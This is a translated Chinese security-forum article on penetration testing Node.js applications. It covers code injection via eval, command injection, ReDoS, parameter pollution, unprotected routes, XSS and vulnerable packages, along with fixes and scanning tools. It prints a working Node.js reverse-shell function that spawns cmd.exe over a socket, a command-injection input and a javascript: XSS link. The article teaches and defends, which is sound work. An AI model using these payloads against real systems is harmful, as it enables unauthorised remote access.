作者ghostway

渗透测试 Node.js 应用

发布于:2017-03-22 17:58:32 阅读:1639 回帖:0

在本文中我们将介绍,在渗透中遇到 Node.js 应用如何处理,以及常见的一些 Node.js 的漏洞。

介绍

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型,使其对于数据敏感的应用程序来说既轻量又高效。它是单线类型的服务,这也意味着,任何善意的或恶意的 DOS 将直接导致服务挂死,所有接入的客户端离线,所以做好采用负载均衡的多实例方式。本文中,我们将介绍一些 Node.js 方面的漏洞,以及介绍在实际中如何利用。

信息采集

与针对其他 WEB 应用的信息采集阶段一样,我们要留意比如特殊的 cookies name[“connect.sid”],server以及 X-powered-By 等头信息。如下图所示,X-powered-By 显示该应用是基于 Express 框架的。之后,我们可以深挖更多关于此框架的漏洞信息。

漏洞分析和利用

现在我们知道了一个简单的判断 Node.js 应用的方法。我们继续关注一下其漏洞,常见漏洞类型如下:

  • Server Side Code Injection(服务端代码注入)

  • System Command Injection(系统命令注入)

  • Regex DOS(正则DOS)

  • HTTP Parameter Pollution(HTTP 参数污染)

  • Unprotected Routes(未保护的路由)

  • Global Namespace Pollution(全局命名空间污染)

  • Cross Site Scripting(XSS)

  • Insecure Components(不安全的组件)

  • Secure Code Review(安全代码Review)

Server Side Code Injection

Node.js 的代码注入同样围绕著名的函数”eval”。所以,一定不要在你的代码中使用eval 函数,同样也意味着不要直接将用户输入的数据直接插入到任何系统函数中,比如 setTimeOut,setInterval 等。 

在我们的 demo 代码中,我们使用 eval 函数转换输入的参数类型,本例中是整型,之后将其相加,返回和。我们可以使用函数 parseInt 实现相同的功能。

正如看到的,我们可以直接执行我们的 payload,强制应用退出。 

如下代码可以实现一个反向 Shell

function rev(host,port){
   var net = require('net');
   var cp  = require('child_process');
   var cmd = cp.spawn('cmd.exe', []);
   var client = new net.Socket();

   client.connect(port, host, function(){
     client.write('Connected\r\n'); client.pipe(cmd.stdin); cmd.stdout.pipe(client);
     cmd.stderr.pipe(client);
     client.on( 'exit', function(code,signal){ client.end('Disconnected\r\n'); } );
     client.on( 'error',function(e){ setTimeout( rev(host,port), 5000); })
   });};rev('127.0.0.1', 4444);


System Command Execution

当 review 一段 Node.js 代码时,一定要留意模块 child_process 的函数,因为这个模块包含了创建一个新进程来执行系统命令的功能。如下,我们一段 demo 来执行 Ping 命令。但是没有验证穿入得参数 ip,从而导致命令执行。

可以添加命令:ipconfig /all 


Regex DOS(Denial of Service)

正则表达式的 DOS 攻击主要围绕着术语叫做:Catastrophic Backtracking 的方式来进行,暗含着正则引擎如何解析用户特定匹配模式语句。看如下的例子: 

此处我们要查找以 x 开始,y 结束的字符串,此刻有一个问题,如果用户输入的字符串并没有以 y 结尾,而是一直重复多个x呢?每一个 x 将导致重复 backtrack,最终将会陷入无限的 backtrack 循环,直到确定结尾是否有 y。如下我们可以看到正确的使用:

此处只提供了特定数量的 x。日下图所示,执行时间增加了近 1 秒钟。Node.js 是单线程程序,假设大量用户在同一时刻使用了同样的服务呢? 

HTTP Parameter Pollution

Node.js 有一个奇怪的特性,允许一个参数有多个值。假设有一个参数叫做 email,我们给这个参数传递了多个值,最终 email 参数将包含这两个值,两个值之间用逗号隔开。       

 该特性可用来进行参数解析漏洞的利用。        

Unprotected Routes

现在大部分应用程序都采用 MVC 架构。我们首先了解这个 MVC 是什么。MVC 将应用程序分成三个逻辑组件:Model,View,Controller。其有效地帮助开发人员和软件架构师将业务逻辑从代码层面分离出来。 

所有的 URL 被称为路由,保存在路由文件中。有一个“路由器”来协调当用户点击了链接http://www.example.com/abc时,应该触发那个控制器。 

而在可信和不可信路由之间就容易产生这样一个问题,从名字我们就可以猜到,可信的路由就是某用户登陆以后有权限访问的页面 URL。 

为了演示这个功能, 我们构建了一个 Node.js 的测试平台 Nodegoat。它是一个有多个用户的退休金管理平台。但是只有一个管理员可以查看其他用户的退休金。 

如下所示,退休金路由(URL)并没有检查访问用户是否是管理员,因此任意的用户都能查看他人的退休金 。

如下所示,我们以普通用户身份登录,没有显示退休金的功能: 

我们以管理员登录,该功能出现了:

为了验证上述漏洞,我们切换到普通用户,强制浏览器访问退休金页面,我们成功的查看到了页面的内容: 


修复未保护的路由(URL) 

我们增加一个 isAdmin 的中间件来确保只有管理员可以访问该页面: 

之后,我们又一次尝试访问退休金页面,则被跳转到重新登陆页面: 

Global Namespace Pollution

当一个变量定义在全局作用域的范围内时,该应用上的所有的代码都可以访问和修改该变量值,这就容易产生一个 confusion,不同的函数任意时刻访问这个变量可能会有相同的、不同的、甚至被覆盖的值。这个行为被称作 Global Namespace Pollution(全局命名空间污染)。从安全的角度来看,这种行为可能会被利用,取决于存储在全局作用域的值是什么类型的变量或函数。 

如下所示,我们定义了一个变量叫做 global,我们只是简单的将其加一,然后打印: 

问题就是,无论什么时候用户访问,该值都会加一,然后显示给用户。这中行为有一个风险,如果 session token 被存储在全局名字空间中,且和这样有相似的行为,则 attacker 可以轻易的猜测到下一个要分配给用户的 session cookie。

Cross Site Scripting

XSS 通常是由于在缺乏合适的有效的验证,不可信的用户输入被包含在了应用服务的响应当中。就 Node.js 而言,内置的模块没有对抗 XSS 攻击。这样会导致新手程序员会犯一些低级错误,而给 attacker 留下了一些可趁之机。 

如下所示,我们直接显示了用户的输入,没有丝毫验证:

 进一步利用:

 在 Node.js 中为了对抗 XSS 攻击,显然我们需要实现上下文相关的过滤,我们可以使用一个包叫做 html-entities,可以使用命令 npm install html-entities 安装。添加后的现象,可见 payload 并没有执行。


Insecure Components

不安全的组件的问题影响所有你使用的第三方库。从一个安全角度来看,在使用这些库时,非常有必要 review 下它们的代码。查看它们官网的漏洞公告,来确保你使用的是最新和最稳定的版本。更进一步也可以使用特定的工具来自动检查这个风险,本节之后将提到。 

我们使用 nodegota 来举例说明,它用到的一个包 marked 曾有一个版本有XSS漏洞。如下所示,当插入如下 payload 时,它一个 link 被嵌入 JavaScrip t脚本。

[Click here to download](javascript:this;alert(xss))

我们可以使用现成的工具 snyk 和 npm-check 来自动验证不安全和过时的组件。可以使用如下命令来安装这些工具:

npm install -g npm-check
npm install snyk

我们在测试程序 nodegota 上执行这些工具,看看效果。如下,npm-check 的检查给一些不宜使用的包打 flag,告诉我们这些包该升级了。

对于使用 synk,你需要配置你的账户,配置好之后,切换到 nodegoat 的主目录,执行命令 snyk test。 

如下所示:它发现了有漏洞的包,同时标记出来:

Secure Code Review

对于一个大型的应用来说实现代码 review 是一个极其费力的活,需要遍历成百上千行的代码。一般建议使用半自动化的方式来实现代码 review。比如手工检查业务逻辑,同时自动完成重复性的那些工作,比如查找漏洞函数,包,模块的名字和配置等。确保所有的函数都进行了,用户输入的处理,文件的操作,数据库的查询,硬编码的信息,不安全的 SSL/TLS 版本,不安全的加密,全局变量等等。进一步,我们使用上述提到的工具 snyk 和 node-check 来检查过时和有漏洞的包。

结束语

从这个系列提到的漏洞中,我们可以得出,大部分的漏洞都是源于不安全的用户输入。因此,要经常进行过滤和验证用户的输入,确保使用了合适的中间件来避免不可信的流程。这篇文章没有提到 Ajin Abraham 开发的神奇的工具 NodeJsScan。该工具是一款静态代码分析工具。它使用了大量的正则表达式规则来扫描可能的漏洞代码和不安全的配置,同时允许用户扩展自己的功能。可以从这下载NodeJsScan。 

引用

https://www.npmjs.com/package/npm-check 
https://snyk.io/blog/marked-xss-vulnerability/ 
https://www.npmjs.com/package/html-entities 
https://github.com/ajinabraham/NodeJsScan 


本文由 看雪翻译小组 ghostway 编译,来源Sahil Dhar@INFOSECINSTITUTE


 热 门 阅 读:



《走进企业看安全.易宝支付》第9站 报名倒计时!

AutoIt 脚本反混淆

攻击 Western Digital NAS 个人云存储设备

SELinux 教程之 Permissive VS Enforcing

UPDATE 查询中的 SQL 注入

......

看雪论坛:http://bbs.pediy.com/

微信公众号 ID:ikanxue

微博:看雪安全

投稿、合作:www.kanxue.com


最新回复 (0)
返回